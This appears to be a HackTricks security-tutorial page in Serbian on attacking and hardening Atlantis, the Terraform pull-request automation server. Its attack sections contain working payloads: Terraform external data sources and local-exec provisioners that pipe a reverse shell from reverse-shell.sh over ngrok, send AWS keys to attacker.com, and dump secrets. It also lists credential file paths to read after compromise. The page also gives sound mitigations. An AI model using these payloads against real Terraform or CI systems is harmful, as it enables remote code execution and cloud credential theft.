Atlantis Security

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Osnovne informacije

Atlantis vam u osnovi pomaže da pokrenete terraform iz Pull zahteva sa vašeg git servera.

Lokalni Lab

  1. Idite na stranicu sa izdanjima Atlantisa na https://github.com/runatlantis/atlantis/releases i preuzmite onaj koji vam odgovara.

  2. Kreirajte lični token (sa pristupom repozitorijumima) vašeg github korisnika

  3. Izvršite ./atlantis testdrive i on će kreirati demo repozitorijum koji možete koristiti da komunicirate sa atlantisom

  4. Možete pristupiti web stranici na 127.0.0.1:4141

Pristup Atlantisu

Krediti za Git Server

Atlantis podržava nekoliko git domaćina kao što su Github, Gitlab, Bitbucket i Azure DevOps. Međutim, da bi pristupao repozitorijumima na tim platformama i izvršavao akcije, potrebno je da imaju neki dodeljen privilegovan pristup (barem dozvole za pisanje). Dokumentacija podstiče da se kreira korisnik na ovim platformama specifično za Atlantisa, ali neki ljudi mogu koristiti lične naloge.

U svakom slučaju, sa perspektive napadača, nalog Atlantisa će biti veoma interesantan za kompromitovanje.

Webhook-ovi

Atlantis opciono koristi Webhook tajne da validira da li su webhook-ovi koje prima od vašeg Git domaćina legitimni.

Jedan način da se potvrdi ovo je da se dozvole zahteve samo da dolaze sa IP adresa vašeg Git domaćina, ali jednostavniji način je korišćenje Webhook Tajne.

Imajte na umu da osim ako koristite privatni github ili bitbucket server, moraćete da izložite krajnje tačke webhook-ova Internetu.

Atlantis će izlagati webhook-ove tako da git server može slati informacije. Sa perspektive napadača bilo bi interesantno znati da li možete slati poruke.

Krediti Provajdera

Od dokumentacije:

Atlantis pokreće Terraform jednostavno izvršavanjem terraform plan i apply komandi na serveru na kojem je hostovan Atlantis. Baš kao kada pokrećete Terraform lokalno, Atlantisu su potrebni krediti za vaš specifičan provajder.

Na vama je kako ćete dostaviti kredite za vaš specifičan provajder Atlantisu:

  • Atlantis Helm Chart i AWS Fargate Modul imaju svoje mehanizme za kredite provajdera. Pročitajte njihovu dokumentaciju.

  • Ako pokrećete Atlantisa u oblaku, mnogi oblaci imaju načine da daju pristup cloud API-ju aplikacijama koje se izvršavaju na njima, npr:

  • AWS EC2 Uloge (Pretražite "EC2 Uloga")

  • Mnogi korisnici postavljaju okružne promenljive, npr. AWS_ACCESS_KEY, gde se Atlants izvršava.

  • Drugi kreiraju neophodne konfiguracione fajlove, npr. ~/.aws/credentials, gde se Atlants izvršava.

  • Koristite HashiCorp Vault Provajder da dobijete kredite provajdera.

Kontejner u kojem Atlantis radi će verovatno sadržati privilegovane kredite za provajdere (AWS, GCP, Github...) koje Atlantis upravlja putem Terraforma.

Web Stranica

Podrazumevano, Atlantis će pokrenuti web stranicu na portu 4141 na localhost-u. Ova stranica vam omogućava samo da omogućite/onemogućite primenu Atlantisa i proverite status plana repozitorijuma i otključate ih (ne dozvoljava modifikacije, tako da nije toliko korisna).

Verovatno je nećete naći izloženu Internetu, ali izgleda da podrazumevano nije potrebno korisničko ime i lozinka za pristup (a ako jesu, atlantis:atlantis su podrazumevani).

Konfiguracija Servera

Konfiguracija za atlantis server može se specificirati putem zastavica komandne linije, okružnih promenljivih, konfiguracionog fajla ili kombinacijom ova tri.

Vrednosti se biraju po ovom redosledu:

  1. Zastavice

  2. Okružne Promenljive

  3. Konfiguracioni Fajl

Imajte na umu da u konfiguraciji možete pronaći interesantne vrednosti kao što su tokeni i lozinke.

Konfiguracija Repozitorijuma

Neke konfiguracije utiču na način upravljanja repozitorijumima. Međutim, moguće je da svaki repozitorijum zahteva različite postavke, pa postoje načini da se specificira svaki repozitorijum. Ovo je prioritetni redosled:

  1. Repozitorijum /atlantis.yml fajl. Ovaj fajl se može koristiti da se specificira kako atlantis treba da tretira repozitorijum. Međutim, podrazumevano neke ključne vrednosti ne mogu biti specificirane ovde bez određenih zastavica koje to omogućavaju.

  2. Verovatno je potrebno dozvoliti zastavicama poput allowed_overrides ili allow_custom_workflows

  3. Konfiguracija na Serveru: Možete je proslediti zastavicom --repo-config i to je yaml koji konfiguriše nove postavke za svaki repozitorijum (podržani su regex-i)

  4. Podrazumevane vrednosti

Zaštita PR-a

Atlantis omogućava da naznačite da li želite da PR odobri neko drugi (čak i ako to nije postavljeno u zaštiti grane) i/ili da bude spojiv (zaštite grane su prošle) pre pokretanja primene. Sa aspekta bezbednosti, preporučljivo je postaviti oba opcije.

U slučaju da je allowed_overrides True, ova podešavanja mogu biti prepisana na svakom projektu putem datoteke /atlantis.yml.

Skripte

Konfiguracija repozitorijuma može specificirati skripte koje će se izvršiti pre (pre workflow hooks) i nakon (post workflow hooks) izvršenja workflow-a.

Ne postoji opcija koja dozvoljava specificiranje ovih skripti u repo /atlantis.yml datoteci.

Workflow

U konfiguraciji repozitorijuma (konfiguracija na serverskoj strani) možete specificirati novi podrazumevani workflow, ili kreirati nove prilagođene workflow-e. Takođe možete specificirati koje repozitorijume mogu pristupiti novim generisanim.

Zatim, možete dozvoliti datoteci atlantis.yaml svakog repozitorijuma da specificira workflow koji će se koristiti.

Ako je zastavica konfiguracija na serverskoj strani allow_custom_workflows postavljena na True, workflow-i mogu biti specificirani u atlantis.yaml datoteci svakog repozitorijuma. Potencijalno je takođe potrebno da allowed_overrides takođe specificira workflow da bi prepisao workflow koji će biti korišćen. Ovo će u osnovi omogućiti RCE na Atlantis serveru svakom korisniku koji može pristupiti tom repozitorijumu.

# atlantis.yaml
version: 3
projects:
- dir: .
workflow: custom1
workflows:
custom1:
plan:
steps:
- init
- run: my custom plan command
apply:
steps:
- run: my custom apply command

Provera politike Conftest

Atlantis podržava pokretanje server-side conftest polisa protiv izlaza plana. Uobičajene upotrebe ovog koraka uključuju:

  • Odbijanje korišćenja liste modula

  • Tvrdnje o atributima resursa prilikom kreiranja

  • Otkrivanje nenamernih brisanja resursa

  • Prevencija sigurnosnih rizika (tj. izlaganje sigurnih portova javnosti)

Možete proveriti kako da ga konfigurišete u dokumentaciji.

Atlantis Komande

U dokumentaciji možete pronaći opcije koje možete koristiti za pokretanje Atlantisa:

# Get help
atlantis help

# Run terraform plan
atlantis plan [options] -- [terraform plan flags]
##Options:
## -d directory
## -p project
## --verbose
## You can also add extra terraform options

# Run terraform apply
atlantis apply [options] -- [terraform apply flags]
##Options:
## -d directory
## -p project
## -w workspace
## --auto-merge-disabled
## --verbose
## You can also add extra terraform options

Napadi

Ako tokom eksploatacije naiđete na ovu grešku: Error: Error acquiring the state lock

Možete je popraviti pokretanjem:

atlantis unlock #You might need to run this in a different PR
atlantis plan -- -lock=false

Atlantis plan RCE - Izmena konfiguracije u novom PR-u

Ako imate pristup za pisanje nad repozitorijumom, moći ćete da napravite novu granu na njemu i generišete PR. Ako možete izvršiti atlantis plan (ili možda se automatski izvršava) moći ćete da izvršite udaljenu izvršnu kontrolu unutar Atlantisa servera.

To možete postići tako što ćete naterati Atlantisa da učita spoljni izvor podataka. Samo stavite payload kao što je prikazano u main.tf fajlu:

data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}

Skriveniji napad

Možete izvesti ovaj napad čak i na skriveniji način, prateći ove sugestije:

  • Umesto dodavanja rev šel direkt u terraform fajl, možete učitati spoljni resurs koji sadrži rev šel:

module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}

Možete pronaći rev shell kod na https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules

  • U spoljnom resursu, koristite ref funkciju da sakrijete terraform rev shell kod u grani unutar repozitorijuma, nešto poput: git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b

  • Umesto kreiranja PR-a ka masteru da biste pokrenuli Atlantis, napravite 2 grane (test1 i test2) i napravite PR od jedne ka drugoj. Kada završite napad, jednostavno uklonite PR i grane.

Atlantis plan Dump Tajni

Možete izvući tajne korišćene od strane terraforma pokretanjem atlantis plan (terraform plan) ubacivanjem nečega poput ovoga u terraform fajl:

output "dotoken" {
value = nonsensitive(var.do_token)
}

Atlantis primenjuje RCE - Modifikacija konfiguracije u novom PR-u

Ako imate pristup za pisanje nad repozitorijumom, moći ćete da kreirate novu granu na njemu i generišete PR. Ako možete izvršiti atlantis apply, moći ćete da izvršite RCE unutar Atlantis servera.

Međutim, obično ćete morati da zaobiđete neka zaštitna podešavanja:

  • Mergeable: Ako je ova zaštita postavljena u Atlantisu, možete pokrenuti atlantis apply samo ako je PR mergeable (što znači da je potrebno zaobići zaštitu grane).

  • Proverite potencijalne bypass-ove zaštite grane

  • Approved: Ako je ova zaštita postavljena u Atlantisu, neki drugi korisnik mora odobriti PR pre nego što možete pokrenuti atlantis apply

  • Podrazumevano možete zloupotrebiti Gitbot token za zaobilaženje ove zaštite

Pokretanje terraform apply na zlonamerni Terraform fajl sa local-exec. Samo se pobrinite da se neki payload poput sledećih završava u fajlu main.tf:

// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
}

// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}

Pratite predloge iz prethodne tehnike kako biste izvršili ovaj napad na diskretniji način.

Umetanje Parametara u Terraform

Prilikom pokretanja atlantis plan ili atlantis apply, terraform se pokreće ispod, možete proslediti komande terraformu iz atlantisa komentarišući nešto poput:

atlantis plan -- <terraform commands>
atlantis plan -- -h #Get terraform plan help

atlantis apply -- <terraform commands>
atlantis apply -- -h #Get terraform apply help

Nešto što možete proslediti su env promenljive koje mogu biti korisne za zaobilaženje nekih zaštita. Proverite terraform env promenljive na https://www.terraform.io/cli/config/environment-variables

Prilagođeni Radni Tok

Pokretanje zlonamernih prilagođenih naredbi za izgradnju navedenih u datoteci atlantis.yaml. Atlantis koristi datoteku atlantis.yaml sa grane zahteva za povlačenje, ne sa master grane. Ova mogućnost je pomenuta u prethodnom odeljku:

Ako je zastava server side config postavljena na True, radni tokovi mogu biti navedeni u datoteci atlantis.yaml svakog repozitorijuma. Potencijalno je takođe potrebno da allowed_overrides takođe specificira i workflow da bi se zamenio radni tok koji će biti korišćen.

Ovo će u osnovi omogućiti RCE na Atlantis serveru bilo kom korisniku koji može pristupiti tom repozitorijumu.

# atlantis.yaml
version: 3
projects:
- dir: .
workflow: custom1
workflows:
custom1:
plan:
steps:
- init
- run: my custom plan command
apply:
steps:
- run: my custom apply command

Zaobilaženje zaštite planiranja/primene

Ako je zastava konfiguracije sa serverske strane allowed_overrides konfigurisana sa apply_requirements, moguće je da repozitorijum izmeni zaštitu planiranja/primene kako bi je zaobišao.

repos:
- id: /.*/
apply_requirements: []

PR Preuzimanje

Ako neko pošalje atlantis plan/apply komentare na vaše validne zahteve za povlačenje, to će uzrokovati pokretanje terraforma kada to ne želite.

Osim toga, ako nemate konfigurisano u zaštiti grane da zatražite ponovnu procenu svakog zahteva za povlačenje kada se doda novi commit na nju, neko bi mogao napisati zlonamerne konfiguracije (proverite prethodne scenarije) u terraform konfiguraciji, pokrenuti atlantis plan/apply i dobiti RCE.

Ovo je postavka u Github zaštiti grane:

Tajna Webhook-a

Ako uspete ukrasti tajnu webhook-a koja se koristi ili ako se ne koristi nikakva tajna webhook-a, mogli biste pozvati Atlantis webhook i direktno pozvati atlantis komande.

Bitbucket

Bitbucket Cloud ne podržava tajne webhook-a. To bi moglo omogućiti napadačima da falsifikuju zahteve sa Bitbucket-a. Proverite da li dozvoljavate samo IP adrese Bitbucket-a.

  • To znači da bi napadač mogao poslati lažne zahteve Atlantisu koji izgledaju kao da dolaze sa Bitbucket-a.

  • Ako specificirate --repo-allowlist onda bi mogli samo lažirati zahteve koji se odnose na te repozitorijume, tako da bi najveća šteta koju bi mogli naneti bila plan/primena na vašim sopstvenim repozitorijumima.

  • Da biste to sprečili, dozvolite IP adrese Bitbucket-a (vidi Izlazne IPv4 adrese).

Post-Eksploatacija

Ako ste uspeli da pristupite serveru ili ste barem dobili LFI, postoje neke zanimljive stvari koje biste trebali pokušati pročitati:

  • /home/atlantis/.git-credentials Sadrži pristupne podatke za vcs

  • /atlantis-data/atlantis.db Sadrži pristupne podatke za vcs sa više informacija

  • /atlantis-data/repos/<org_name>/<repo_name>/<pr_num>/<workspace>/<path_to_dir>/.terraform/terraform.tfstate Terraform stanje datoteke

  • Primer: /atlantis-data/repos/ghOrg_/_myRepo/20/default/env/prod/.terraform/terraform.tfstate

  • /proc/1/environ Env promenljive

  • /proc/[2-20]/cmdline Komandna linija atlantis server (može sadržati osetljive podatke)

Mitigacije

Ne Koristite Na Javnim Repozitorijumima

Zato što bilo ko može komentarisati javne zahteve za povlačenje, čak i sa svim dostupnim sigurnosnim mitigacijama, i dalje je opasno pokretati Atlantis na javnim repozitorijumima bez odgovarajuće konfiguracije sigurnosnih postavki.

Ne Koristite --allow-fork-prs

Ako radite na javnom repozitorijumu (što se ne preporučuje, vidi gore) ne biste trebali postaviti --allow-fork-prs (podrazumevano je false) jer bilo ko može otvoriti zahtev za povlačenje sa svog forka ka vašem repozitorijumu.

--repo-allowlist

Atlantis zahteva da specificirate listu dozvoljenih repozitorijuma od kojih će prihvatiti webhook-ove putem zastave --repo-allowlist. Na primer:

  • Specifični repozitorijumi: --repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests

  • Ceo vaša organizacija: --repo-allowlist=github.com/runatlantis/*

  • Svi repozitorijumi u vašoj GitHub Enterprise instalaciji: --repo-allowlist=github.yourcompany.com/*

  • Svi repozitorijumi: --repo-allowlist=*. Korisno kada ste u zaštićenoj mreži, ali opasno bez postavljanja tajne webhook-a.

Ova zastava osigurava da vaša instalacija Atlantisa nije korišćena sa repozitorijumima koje ne kontrolišete. Pogledajte atlantis server --help za više detalja.

Zaštita Terraform Planiranja

Ako su napadi koji podnose zahteve za povlačenje sa zlonamernim Terraform kodom u vašem modelu pretnji, morate biti svesni da odobrenja za terraform apply nisu dovoljna. Moguće je pokrenuti zlonamerni kod u terraform plan koristeći external data source ili specificiranjem zlonamernog provajdera. Taj kod bi mogao da eksfiltrira vaše pristupne podatke.

Da biste to sprečili, možete:

  1. Ugraditi provajdere u sliku Atlantisa ili host i zabraniti izlaz u produkciji.

  2. Implementirati protokol registra provajdera interno i zabraniti javni izlaz, na taj način kontrolišete ko ima pristup za pisanje u registar.

  3. Modifikujte konfiguraciju repozitorijuma na serverskoj strani plan korak da validira protiv korišćenja zabranjenih provajdera ili data izvora ili PR-ova od korisnika koji nisu dozvoljeni. Takođe možete dodati dodatnu validaciju u ovom trenutku, npr. zahtevajući "thumbs-up" na PR pre nego što se dozvoli nastavak plan-a. Conftest bi mogao biti od pomoći ovde.

Tajne Webhook-a

Atlantis bi trebalo pokrenuti sa postavljenim tajnama webhook-a putem $ATLANTIS_GH_WEBHOOK_SECRET/$ATLANTIS_GITLAB_WEBHOOK_SECRET okruženjskih promenljivih. Čak i sa postavljenom zastavom --repo-allowlist, bez tajne webhook-a, napadači bi mogli slati zahteve Atlantisu predstavljajući se kao repozitorijum koji je na listi dozvoljenih. Tajne webhook-a osiguravaju da zahtevi webhook-a zaista dolaze od vašeg VCS provajdera (GitHub ili GitLab).

Ako koristite Azure DevOps, umesto tajni webhook-a dodajte osnovno korisničko ime i lozinku.

Osnovna Autentikacija Azure DevOps-a

Azure DevOps podržava slanje osnovnog autentikacionog zaglavlja u svim webhook događajima. To zahteva korišćenje HTTPS URL-a za lokaciju vašeg webhook-a.

SSL/HTTPS

Ako koristite tajne webhook-a, ali vaš saobraćaj ide preko HTTP-a, tajne webhook-a mogu biti ukradene. Omogućite SSL/HTTPS korišćenjem zastava --ssl-cert-file i --ssl-key-file.

Omogućite Autentikaciju na Atlantis Web Serveru

Veoma je preporučljivo omogućiti autentikaciju na web servisu. Omogućite BasicAuth korišćenjem --web-basic-auth=true i postavite korisničko ime i lozinku korišćenjem zastava --web-username=yourUsername i --web-password=yourPassword.

Takođe možete proslediti ove kao okruženjske promenljive ATLANTIS_WEB_BASIC_AUTH=true ATLANTIS_WEB_USERNAME=yourUsername i ATLANTIS_WEB_PASSWORD=yourPassword.

Reference

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Last updated